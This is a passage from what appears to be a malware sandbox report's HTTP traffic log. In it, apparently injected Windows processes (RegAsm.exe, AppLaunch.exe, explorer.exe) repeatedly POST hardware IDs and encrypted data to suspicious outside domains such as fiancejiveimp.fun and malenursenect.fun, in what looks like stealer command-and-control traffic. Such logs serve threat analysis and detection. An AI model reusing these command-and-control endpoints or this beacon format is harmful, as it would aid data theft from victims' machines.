Oct 3, 2023 09:55:19.335304976 CEST	6216	IN	Data Raw: 4f 61 72 69 77 6a 43 78 75 43 67 43 71 48 43 78 4f 50 78 58 72 6c 74 77 75 51 72 4c 45 55 53 39 44 6a 6f 48 77 30 46 31 62 6a 52 32 39 61 6d 46 41 72 43 38 50 77 7a 68 48 39 4a 7a 74 42 48 74 45 6e 4c 6f 4b 38 67 38 62 70 51 4f 4f 6c 7a 75 61 33 Data Ascii: OariwjCxuCgCqHCxOPxXrltwuQrLEUS9DjoHw0F1bjR29amFArC8PwzhH9JztBHtEnLoK8g8bpQOOlzua3crbnTvqYdy960jT/ky+jzkUqpCNPhusVgA/0lqQo0JOmokO67j1zC6qj0dp3u0cbg8xxJytSfhEUS9DH9dwVt3KR0hpquqWPXobU3jMqV/nTzHO3K1fMw7RL0OOgfDQXcpKzrts4dwtKAiAbN0vDr1XadVOPNvrlw
Oct 3, 2023 09:55:19.335365057 CEST	6218	IN	Data Raw: 4b 79 75 44 31 50 37 78 2f 53 63 37 51 52 37 52 4a 79 74 53 66 6a 56 42 36 2f 46 44 6f 46 74 77 51 6c 65 53 39 30 6e 50 33 47 4a 72 79 6e 49 30 2f 4f 47 50 68 7a 74 42 48 74 45 69 2b 35 43 73 73 52 52 4c 30 4f 4f 67 65 59 62 46 30 72 62 6e 54 76 Data Ascii: KyuD1P7x/Sc7QR7RJytSfjVB6/FDoFtwQleS90nP3GJrynI0/OGPhztBHtEi+5CssRRL0OOgeYbF0rbnTvqYdy9eooA+Eo+HHwXKZTP/Zsr14D9kl5Q4UJP2kqMKzuzzO2oCYIqXe5I7YdwDhytSfhEUS9DjhCmUNtK2wfqvnLIPfFR03jMvhztEzhP1i1J+ERRL1VFy3DQXcrbnTvqYU3u+p3TeF0sD7yVKNWNfFoolwH/0N8T
Oct 3, 2023 09:55:19.335426092 CEST	6219	IN	Data Raw: 67 6d 4b 6f 41 2f 68 51 74 42 42 66 6e 79 66 68 45 55 53 39 44 6d 63 4c 37 6d 74 33 4b 32 35 30 37 36 6e 63 58 39 2f 6f 62 55 33 6a 4d 76 68 7a 74 42 4f 6f 58 48 43 76 4a 2b 4e 59 44 76 42 65 66 55 79 4a 42 7a 78 70 4b 44 79 67 37 4d 55 31 75 71 Data Ascii: gmKoA/hQtBBfnyfhEUS9DmcL7mt3K25076ncX9/obU3jMvhztBOoXHCvJ+NYDvBefUyJBzxpKDyg7MU1uq8rAaV3uj35VKdfNPdq4x1plw46B8NBdytudqrzhWj16g8Et1G0OuQTwDhytSfhEUTgAhctw0F3K250tIStcvXobU3jMvhx8V/vCHK3a6pSDvFAcEGTAz5gIzei68YxvaI9CaF7sjb+V6FCMfgl7TxuvQ46B8NBdyt
Oct 3, 2023 09:55:19.335474968 CEST	6221	IN	Data Raw: 51 54 71 45 68 77 72 79 66 6a 66 67 72 34 5a 58 39 65 77 57 78 64 4b 32 35 30 37 36 6d 48 4c 2f 6e 46 52 30 33 6a 4d 76 68 7a 74 45 72 41 4f 48 4b 31 4a 2b 45 52 52 4c 30 4f 4f 45 4b 4e 51 32 30 72 62 44 65 6d 34 63 6f 39 74 4b 77 73 42 4b 52 36 Data Ascii: QTqEhwryfjfgr4ZX9ewWxdK25076mHL/nFR03jMvhztErAOHK1J+ERRL0OOEKNQ20rbDem4co9tKwsBKR6uzb+Xr1TP/hho1wA+U13Q4YKNGErduOErXL16G1N4zL4cfFL7whyt0ukUAK/IxAHw0F3K24p44StcvXobU3jadVZtBHtEnK1J+ETAfMMIAfBBjZuKjml7cE/uKklBaF4vTX3U6pTPflvqVAK8U91S4FDewZEdO+ph
Oct 3, 2023 09:55:19.335551023 CEST	6222	IN	Data Raw: 70 53 76 4d 4f 30 53 39 44 6a 6f 48 77 30 46 33 4b 54 35 32 39 61 6d 46 64 37 53 34 50 51 6d 69 5a 72 6c 32 79 47 32 49 52 6a 72 77 64 61 52 45 43 62 38 43 46 79 33 44 51 58 63 72 62 6e 54 76 71 59 55 2f 39 2f 4a 74 4e 73 34 59 2b 48 4f 30 45 65 Data Ascii: pSvMO0S9DjoHw0F3KT529amFd7S4PQmiZrl2yG2IRjrwdaRECb8CFy3DQXcrbnTvqYU/9/JtNs4Y+HO0Ee0ScrUn4RFEv0V/XpAVOHkrdsKDh3L16G1N4zKFf5k77RJytSfhEUS/VDgdw0MAaiI4qv3UfZC8JQixd60+th3AOHK1J+ERRL0OOEPBW3c6YlnFqYdy9ehtTeMwviC2C+0AYqww8ARWrSMQB8NBdytuKeOErXL16G1
Oct 3, 2023 09:55:19.335592031 CEST	6223	IN	Data Raw: 48 70 52 6d 4d 48 70 77 51 6b 59 44 6f 37 76 39 58 37 48 72 71 72 4c 41 48 6a 51 61 77 38 35 6c 43 71 56 77 37 4a 61 36 52 48 41 66 46 4b 65 41 58 50 62 46 30 72 62 6e 54 76 71 59 64 79 39 65 6f 67 54 2f 6b 79 67 33 47 2b 45 35 41 65 58 35 38 6e Data Ascii: HpRmMHpwQkYDo7v9X7HrqrLAHjQaw85lCqVw7Ja6RHAfFKeAXPbF0rbnTvqYdy9eogT/kyg3G+E5AeX58n4RFEvQ46B8EbdTFudpjoyz6wvD5CgmesO+0RiVch/nOuQUaxIxAHw0F3K25076vDcO/of0HOGPhztBHtEnK1JadCRqcOKBfaVmY+fGTCg4dy9ehtTb4+1Vm0Ee0ScrV8zDtEvQ46B8NBdyk6dvWpl37Ywm1N4zL4c
Oct 3, 2023 09:55:19.335674047 CEST	6225	IN	Data Raw: 32 55 46 31 4c 69 49 37 72 4f 6a 4c 4d 36 57 34 4b 51 79 33 63 2f 30 50 79 48 61 69 58 54 58 35 59 70 31 74 4a 2f 56 63 64 55 71 47 50 51 74 65 50 54 47 39 71 65 4d 7a 6f 61 6c 76 51 63 34 59 2b 48 4f 30 45 65 30 53 63 72 55 6c 75 78 4e 65 76 51 Data Ascii: 2UF1LiI7rOjLM6W4KQy3c/0PyHaiXTX5Yp1tJ/VcdUqGPQtePTG9qeMzoalvQc4Y+HO0Ee0ScrUluxNevQxZT5EOOm5sWcWph3L16G0Q7x/Sc7QR7RJy7grLEUS9DjoHw0F1f2xu77mLX9/obU3jMvhztBO9EGi1JeRQFO1Ke1OCRAtXDzq2zcIhvuphYMky+HO0Ee0Scrdq4wtExgwwCYAOOW1sCeOErXL16G1N4zL4ce4T9xJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49857	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:19.006995916 CEST	6204	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:19.007320881 CEST	6205	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:19.559545994 CEST	6236	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=33e0an5vid3jst4ka1a18sqb3b; expires=Sat, 27 Jan 2024 01:41:58 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:19 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9i5Wf4MkcGfu2G%2F%2B8JTjSAJUPwPzmpqypzFfk2%2Bwi8E9tNU7YvR%2FFHDR2RboytR3DQ2%2BjtpXKFzGXlNRwmZLfA1j7EboRBVkSA9HlC%2BbCBU8TKL6IiGTiPO%2F9ZszzFU%2BvJci9w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f440bdd8012-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:19.559566975 CEST	6236	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49859	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:19.654803991 CEST	6237	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:19.655217886 CEST	6237	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:19.984169006 CEST	6252	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=nlvmfj764uljfsu5kjqq7ko6kj; expires=Sat, 27 Jan 2024 01:41:58 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:19 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JjaZm7JgajR%2B8hPIXc312q%2Fd92d5RPfPZN%2BEPvv%2B%2FHMhEXeE0dWSTnqx7glxpxOHInkV3vxaWv3bnuakCfubVLSV09cnqJJ6Z36E%2FvWpkT89NNxdJcS1WlcRbZ%2BSq%2BVVULc2Hw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f481ad93952-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:19.984195948 CEST	6252	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49860	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:19.979816914 CEST	6250	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:19.980041981 CEST	6250	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:20.232137918 CEST	6255	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=c9u5rn77iogdf94jvje3tcmsgv; expires=Sat, 27 Jan 2024 01:41:59 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:20 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=cSi%2FQ9JAaOxdfohz5yxE1vjq6IYRjKDaD%2FMVan7Jp0BsBiFiQlaEuGYBgAZnySVipWmbAveXTXA0iwWnwE5EEnuOJ%2FHQADulNMu4qKrCaeIjbIl%2B0lZH57YKDAigg2vR8KWxYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f4a1ffc5794-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:20.232225895 CEST	6255	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49861	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:20.222357035 CEST	6253	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:20.222754002 CEST	6254	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:20.598479986 CEST	6261	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=h2kgv49354m9ied7h79fv2hejl; expires=Sat, 27 Jan 2024 01:41:59 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:20 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=L0PP46aqHTBph%2FeNsPtdJIR4WENFDtwWQTxf5XlS%2FrYs%2BlgH1mpdpFtYoW6if3GXM36rP7HuHNb%2FBRIGGQxlGo8T2omvDbIhHXwXiqtH5WRToS%2Fat75MqcvUPeHKTx5Npi7A9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f4b9a4c1fd6-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:20.598525047 CEST	6261	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49863	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:20.820481062 CEST	6262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:20.820866108 CEST	6263	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:21.159193039 CEST	6266	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=rjn860o2t15po86keh7dgudeud; expires=Sat, 27 Jan 2024 01:42:00 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:21 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=b6kDt0Q5Ugs0GMmelLBEUCfCX6VsTbAyahdYhDYct6A0M%2Fq02rvL9xEuv8DUyXLGGGIzkFFJ6fyNa9FlglAqMIUJVXWFS7Y1FwV9SrDMvcvFZS2F%2Facp89C1dofk8iVLFln0kA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f4f58a907d7-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:21.159261942 CEST	6267	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49806	211.181.24.133	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:54:24.212740898 CEST	1539	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cqexxjno.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 168 Host: gudintas.at
Oct 3, 2023 09:54:24.212742090 CEST	1540	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 6e 0d f8 f0 Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA -[k,vunqBl\|gSV&{l2W>-0x22)[[,r](nNZ
Oct 3, 2023 09:54:25.387819052 CEST	1540	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:54:24 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49864	172.67.151.219	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:20.960655928 CEST	6265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:20.961095095 CEST	6265	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:21.278683901 CEST	6268	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=5sm3cg666th1sekm4a0ktptruu; expires=Sat, 27 Jan 2024 01:42:00 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:21 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uqQWbmeREzPYqluRX0BymIig9%2BKgCzuo%2B5QAe1Al6zVzKHoz3rehwPefqNgtKtM%2FkprpoY5%2FkiS8qoclx3M7FP%2BjUY9FTFZVxP5B8W5MwotwBESgHzS2Twk3U3TYe8V%2BKd63lQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f503a8b20ca-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:21.278801918 CEST	6268	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49865	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:21.506994963 CEST	6269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 541 Host: malenursenect.fun
Oct 3, 2023 09:55:21.506994963 CEST	6269	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:21.929795027 CEST	6359	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=4emb3uevo1qc9f9254sr70jj73; expires=Sat, 27 Jan 2024 01:42:00 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:21 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vXiU5l23pb4VwHqQDH5KTjtVVHVZjNJhgQK0Y1v5eN8c6vnPQO4RCNWBWlHRyVy6u6MKDlsJKqg4bXny%2BhhTzaI3cN0n%2FwmhzSwIaQ5QzPZF3IrrMthT16Shm4L7PQ1lL2uvqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f53af8c6ffd-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:21.929857969 CEST	6359	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49866	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
